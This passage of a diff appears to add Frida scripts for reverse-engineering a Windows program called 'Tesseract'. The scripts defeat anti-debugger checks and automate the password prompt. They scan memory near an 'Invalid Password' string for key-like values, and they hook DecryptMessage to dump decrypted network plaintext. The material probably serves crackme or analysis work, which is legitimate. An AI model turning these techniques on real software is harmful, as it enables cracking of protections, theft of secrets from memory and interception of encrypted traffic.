var addr = getExport(mod, name);
|
||||
if (!addr) return;
|
||||
try {
|
||||
Interceptor.replace(
|
||||
addr,
|
||||
new NativeCallback(function () {
|
||||
return 0;
|
||||
}, 'int', [])
|
||||
);
|
||||
console.log('[*] anti-anti-debug: ' + mod + '!' + name + ' -> 0');
|
||||
} catch (_) {}
|
||||
}
|
||||
|
||||
function hookCheckRemoteDebuggerPresent() {
|
||||
var mod = 'kernel32.dll';
|
||||
var name = 'CheckRemoteDebuggerPresent';
|
||||
var addr = getExport(mod, name);
|
||||
if (!addr) return;
|
||||
try {
|
||||
Interceptor.replace(
|
||||
addr,
|
||||
new NativeCallback(function (hProcess, pbDebuggerPresent) {
|
||||
try {
|
||||
if (!pbDebuggerPresent.isNull()) pbDebuggerPresent.writeU32(0);
|
||||
} catch (_) {}
|
||||
return 1;
|
||||
}, 'int', ['pointer', 'pointer'])
|
||||
);
|
||||
console.log('[*] anti-anti-debug: ' + mod + '!' + name + ' -> TRUE, out=0');
|
||||
} catch (_) {}
|
||||
}
|
||||
|
||||
hookRet0('kernel32.dll', 'IsDebuggerPresent');
|
||||
hookCheckRemoteDebuggerPresent();
|
||||
}
|
||||
|
||||
function automateUi() {
|
||||
var user32 = 'user32.dll';
|
||||
var pEnumWindows = getExport(user32, 'EnumWindows');
|
||||
var pEnumChildWindows = getExport(user32, 'EnumChildWindows');
|
||||
var pGetWindowThreadProcessId = getExport(user32, 'GetWindowThreadProcessId');
|
||||
var pGetWindowTextW = getExport(user32, 'GetWindowTextW');
|
||||
var pGetClassNameW = getExport(user32, 'GetClassNameW');
|
||||
var pSendMessageW = getExport(user32, 'SendMessageW');
|
||||
|
||||
if (!pEnumWindows || !pEnumChildWindows || !pGetWindowThreadProcessId || !pGetWindowTextW || !pGetClassNameW || !pSendMessageW) {
|
||||
return;
|
||||
}
|
||||
|
||||
var EnumWindows = new NativeFunction(pEnumWindows, 'int', ['pointer', 'pointer']);
|
||||
var EnumChildWindows = new NativeFunction(pEnumChildWindows, 'int', ['pointer', 'pointer', 'pointer']);
|
||||
var GetWindowThreadProcessId = new NativeFunction(pGetWindowThreadProcessId, 'uint', ['pointer', 'pointer']);
|
||||
var GetWindowTextW = new NativeFunction(pGetWindowTextW, 'int', ['pointer', 'pointer', 'int']);
|
||||
var GetClassNameW = new NativeFunction(pGetClassNameW, 'int', ['pointer', 'pointer', 'int']);
|
||||
var SendMessageW = new NativeFunction(pSendMessageW, 'pointer', ['pointer', 'uint', 'pointer', 'pointer']);
|
||||
|
||||
var pidBuf = Memory.alloc(4);
|
||||
|
||||
function getText(hwnd) {
|
||||
var buf = Memory.alloc(2 * 512);
|
||||
buf.writeU16(0);
|
||||
var n = GetWindowTextW(hwnd, buf, 512);
|
||||
if (n <= 0) return '';
|
||||
return safeReadUtf16(buf, 512) || '';
|
||||
}
|
||||
|
||||
function getClass(hwnd) {
|
||||
var buf = Memory.alloc(2 * 256);
|
||||
buf.writeU16(0);
|
||||
var n = GetClassNameW(hwnd, buf, 256);
|
||||
if (n <= 0) return '';
|
||||
return safeReadUtf16(buf, 256) || '';
|
||||
}
|
||||
|
||||
function findMainWindow() {
|
||||
var best = NULL;
|
||||
var cb = new NativeCallback(function (hwnd, lParam) {
|
||||
pidBuf.writeU32(0);
|
||||
GetWindowThreadProcessId(hwnd, pidBuf);
|
||||
var pid = pidBuf.readU32();
|
||||
if (pid !== Process.id) return 1;
|
||||
|
||||
var title = getText(hwnd);
|
||||
if (best.isNull()) best = hwnd;
|
||||
if (title.indexOf('Tesseract') !== -1) {
|
||||
best = hwnd;
|
||||
return 0;
|
||||
}
|
||||
return 1;
|
||||
}, 'int', ['pointer', 'pointer']);
|
||||
|
||||
EnumWindows(cb, ptr(0));
|
||||
return best;
|
||||
}
|
||||
|
||||
function findControls() {
|
||||
var hwnd = findMainWindow();
|
||||
if (hwnd.isNull()) return null;
|
||||
|
||||
var btn = NULL;
|
||||
var edit = NULL;
|
||||
|
||||
var cb = new NativeCallback(function (child, lParam) {
|
||||
var txt = getText(child);
|
||||
var cls = getClass(child);
|
||||
if (btn.isNull() && txt === 'Check') btn = child;
|
||||
if (edit.isNull() && cls.indexOf('EDIT') !== -1) edit = child;
|
||||
return 1;
|
||||
}, 'int', ['pointer', 'pointer']);
|
||||
|
||||
EnumChildWindows(hwnd, cb, ptr(0));
|
||||
return { hwnd: hwnd, btn: btn, edit: edit };
|
||||
}
|
||||
|
||||
var WM_SETTEXT = 0x000c;
|
||||
var BM_CLICK = 0x00f5;
|
||||
|
||||
var cached = null;
|
||||
setInterval(function () {
|
||||
try {
|
||||
if (!cached || cached.btn.isNull() || cached.edit.isNull()) {
|
||||
cached = findControls();
|
||||
if (!cached) return;
|
||||
console.log('[*] UI: hwnd=' + cached.hwnd + ' edit=' + cached.edit + ' btn=' + cached.btn);
|
||||
if (cached.btn.isNull() || cached.edit.isNull()) return;
|
||||
}
|
||||
|
||||
var input = Memory.allocUtf16String('a');
|
||||
SendMessageW(cached.edit, WM_SETTEXT, ptr(0), input);
|
||||
SendMessageW(cached.btn, BM_CLICK, ptr(0), ptr(0));
|
||||
} catch (_) {}
|
||||
}, 300);
|
||||
}
|
||||
|
||||
var dumped = false;
|
||||
function dumpCandidatesAround(anchorPtr) {
|
||||
if (dumped) return;
|
||||
dumped = true;
|
||||
|
||||
console.log('[*] anchor ptr=' + anchorPtr);
|
||||
var r = Process.findRangeByAddress(anchorPtr);
|
||||
if (!r) {
|
||||
console.log('[!] findRangeByAddress failed');
|
||||
return;
|
||||
}
|
||||
|
||||
var radius = 0x100000;
|
||||
var lo = r.base;
|
||||
var hi = r.base.add(r.size);
|
||||
|
||||
var start = anchorPtr.sub(radius);
|
||||
if (start.compare(lo) < 0) start = lo;
|
||||
|
||||
var end = anchorPtr.add(radius);
|
||||
if (end.compare(hi) > 0) end = hi;
|
||||
|
||||
var size = end.sub(start).toInt32();
|
||||
console.log('[*] scan window base=' + start + ' size=' + size + ' (range base=' + r.base + ' size=' + r.size + ')');
|
||||
|
||||
var needle = '5F 00';
|
||||
var seen = {};
|
||||
var cands = [];
|
||||
|
||||
Memory.scan(start, size, needle, {
|
||||
onMatch: function (address, sz) {
|
||||
var res = readUtf16Around(address, 96);
|
||||
var s = res.str;
|
||||
if (!looksKeyLike(s)) return;
|
||||
if (seen[s]) return;
|
||||
seen[s] = 1;
|
||||
|
||||
var dist = absPtrDelta(res.base, anchorPtr);
|
||||
var score = scoreCandidate(s);
|
||||
cands.push({ s: s, addr: res.base, dist: dist, score: score });
|
||||
},
|
||||
onError: function (reason) {},
|
||||
onComplete: function () {
|
||||
cands.sort(function (a, b) {
|
||||
if (b.score !== a.score) return b.score - a.score;
|
||||
return a.dist - b.dist;
|
||||
});
|
||||
|
||||
console.log('[*] candidates found: ' + cands.length);
|
||||
var top = Math.min(15, cands.length);
|
||||
for (var i = 0; i < top; i++) {
|
||||
var c = cands[i];
|
||||
console.log('[CAND ' + (i + 1) + '] score=' + c.score + ' dist=' + c.dist + ' @' + c.addr + ' ' + c.s);
|
||||
}
|
||||
|
||||
if (cands.length > 0) {
|
||||
console.log('[+] BEST GUESS: ' + cands[0].s);
|
||||
} else {
|
||||
console.log('[!] No candidates.');
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function installAnchorHook() {
|
||||
var addr = getExport('user32.dll', 'DrawTextExW');
|
||||
if (!addr) {
|
||||
console.log('[!] missing user32!DrawTextExW');
|
||||
return;
|
||||
}
|
||||
|
||||
Interceptor.attach(addr, {
|
||||
onEnter: function (args) {
|
||||
if (dumped) return;
|
||||
var pText = args[1];
|
||||
var n = args[2].toInt32();
|
||||
if (pText.isNull()) return;
|
||||
var s = safeReadUtf16(pText, n === -1 ? 512 : Math.min(n, 512));
|
||||
if (!s) return;
|
||||
if (s.indexOf('Invalid Password') !== -1) {
|
||||
console.log('[*] saw Invalid Password');
|
||||
dumpCandidatesAround(pText);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
console.log('[*] hooked user32!DrawTextExW');
|
||||
}
|
||||
|
||||
setTimeout(function () {
|
||||
installAntiAntiDebug();
|
||||
installAnchorHook();
|
||||
automateUi();
|
||||
console.log('[*] ready; waiting for Invalid Password render...');
|
||||
}, 500);
|
||||
176
tesseract-reverse/stage_2_decryptmessage.js
Normal file
@@ -0,0 +1,176 @@
|
||||
|
||||
|
||||
var installed = false;
|
||||
var msgNo = 0;
|
||||
|
||||
function getExport(mod, name) {
|
||||
var m = Process.findModuleByName(mod);
|
||||
if (!m) return null;
|
||||
try {
|
||||
return m.getExportByName(name);
|
||||
} catch (_) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
function findExportBySubstring(mod, needle) {
|
||||
var m = Process.findModuleByName(mod);
|
||||
if (!m) return null;
|
||||
try {
|
||||
var ex = m.enumerateExports();
|
||||
var lowNeedle = needle.toLowerCase();
|
||||
for (var i = 0; i < ex.length; i++) {
|
||||
var n = (ex[i].name || "").toLowerCase();
|
||||
if (n.indexOf(lowNeedle) !== -1) return ex[i].address;
|
||||
}
|
||||
} catch (_) {}
|
||||
return null;
|
||||
}
|
||||
|
||||
function bytesToEscapedText(bytes) {
|
||||
var out = "";
|
||||
for (var i = 0; i < bytes.length; i++) {
|
||||
var b = bytes[i] & 0xff;
|
||||
if (b === 0x0a) out += "\n";
|
||||
else if (b === 0x0d) out += "\r";
|
||||
else if (b === 0x09) out += "\t";
|
||||
else if (b >= 0x20 && b <= 0x7e) out += String.fromCharCode(b);
|
||||
else {
|
||||
var h = b.toString(16);
|
||||
if (h.length === 1) h = "0" + h;
|
||||
out += "\\x" + h;
|
||||
}
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
function readSecBufferDesc(pDesc) {
|
||||
var ptrSize = Process.pointerSize;
|
||||
if (pDesc.isNull()) return [];
|
||||
|
||||
var cBuffers = 0;
|
||||
var pBuffers = NULL;
|
||||
try {
|
||||
cBuffers = pDesc.add(4).readU32();
|
||||
pBuffers = pDesc.add(8).readPointer();
|
||||
} catch (_) {
|
||||
return [];
|
||||
}
|
||||
if (cBuffers === 0 || cBuffers > 32) return [];
|
||||
if (pBuffers.isNull()) return [];
|
||||
|
||||
var out = [];
|
||||
var secBufSize = 8 + ptrSize; // 12 on x86, 16 on x64
|
||||
for (var i = 0; i < cBuffers; i++) {
|
||||
try {
|
||||
var p = pBuffers.add(i * secBufSize);
|
||||
var cb = p.readU32();
|
||||
var type = p.add(4).readU32();
|
||||
var pv = p.add(8).readPointer();
|
||||
out.push({ cb: cb, type: type, pv: pv });
|
||||
} catch (_) {}
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
function dumpPlaintext(bytes) {
|
||||
if (!bytes || bytes.length === 0) return;
|
||||
|
||||
msgNo++;
|
||||
console.log("");
|
||||
console.log("[*] ===== DecryptMessage plaintext #" + msgNo + " (" + bytes.length + " bytes) =====");
|
||||
|
||||
// Prefer single print to preserve original line breaks. Fall back to chunking
|
||||
// only for very large buffers.
|
||||
var MAX_SINGLE_LOG = 256 * 1024;
|
||||
if (bytes.length <= MAX_SINGLE_LOG) {
|
||||
console.log(bytesToEscapedText(bytes));
|
||||
return;
|
||||
}
|
||||
|
||||
var CHUNK = 256 * 1024;
|
||||
for (var off = 0; off < bytes.length; off += CHUNK) {
|
||||
var end = off + CHUNK;
|
||||
if (end > bytes.length) end = bytes.length;
|
||||
console.log("[*] --- chunk " + off + ".." + end + " ---");
|
||||
console.log(bytesToEscapedText(bytes.subarray(off, end)));
|
||||
}
|
||||
}
|
||||
|
||||
function installAntiAntiDebug() {
|
||||
function hookRet0(mod, name) {
|
||||
var a = getExport(mod, name);
|
||||
if (!a) return;
|
||||
try {
|
||||
Interceptor.replace(a, new NativeCallback(function () { return 0; }, "int", []));
|
||||
console.log("[*] anti-anti-debug: " + mod + "!" + name + " -> 0");
|
||||
} catch (_) {}
|
||||
}
|
||||
|
||||
function hookCheckRemoteDebuggerPresent() {
|
||||
var a = getExport("kernel32.dll", "CheckRemoteDebuggerPresent");
|
||||
if (!a) return;
|
||||
try {
|
||||
Interceptor.replace(
|
||||
a,
|
||||
new NativeCallback(function (hProcess, pbDebuggerPresent) {
|
||||
try { if (!pbDebuggerPresent.isNull()) pbDebuggerPresent.writeU32(0); } catch (_) {}
|
||||
return 1;
|
||||
}, "int", ["pointer", "pointer"])
|
||||
);
|
||||
console.log("[*] anti-anti-debug: kernel32!CheckRemoteDebuggerPresent -> TRUE,out=0");
|
||||
} catch (_) {}
|
||||
}
|
||||
|
||||
hookRet0("kernel32.dll", "IsDebuggerPresent");
|
||||
hookCheckRemoteDebuggerPresent();
|
||||
}
|
||||
|
||||
function installHooksOnce() {
|
||||
if (installed) return true;
|
||||
|
||||
var addr =
|
||||
getExport("secur32.dll", "DecryptMessage") ||
|
||||
findExportBySubstring("secur32.dll", "DecryptMessage") ||
|
||||
getExport("sspicli.dll", "DecryptMessage") ||
|
||||
findExportBySubstring("sspicli.dll", "DecryptMessage");
|
||||
|
||||
if (!addr) return false;
|
||||
|
||||
installed = true;
|
||||
console.log("[*] Hooking DecryptMessage @ " + addr);
|
||||
|
||||
Interceptor.attach(addr, {
|
||||
onEnter: function (args) {
|
||||
this.pDesc = args[1];
|
||||
},
|
||||
onLeave: function (retval) {
|
||||
try {
|
||||
var bufs = readSecBufferDesc(this.pDesc);
|
||||
for (var i = 0; i < bufs.length; i++) {
|
||||
var b = bufs[i];
|
||||
if (b.type !== 1) continue;
|
||||
if (b.cb === 0) continue;
|
||||
if (b.pv.isNull()) continue;
|
||||
|
||||
var ab = b.pv.readByteArray(b.cb);
|
||||
if (ab === null) continue;
|
||||
dumpPlaintext(new Uint8Array(ab));
|
||||
}
|
||||
} catch (_) {}
|
||||
}
|
||||
});
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
setTimeout(function () {
|
||||
installAntiAntiDebug();
|
||||
}, 100);
|
||||
|
||||
setInterval(function () {
|
||||
if (!installed) {
|
||||
var ok = installHooksOnce();
|
||||
if (ok) console.log("[*] DecryptMessage hook installed. Use the app normally and wait for output...");
|
||||
}
|
||||
}, 50);
|
||||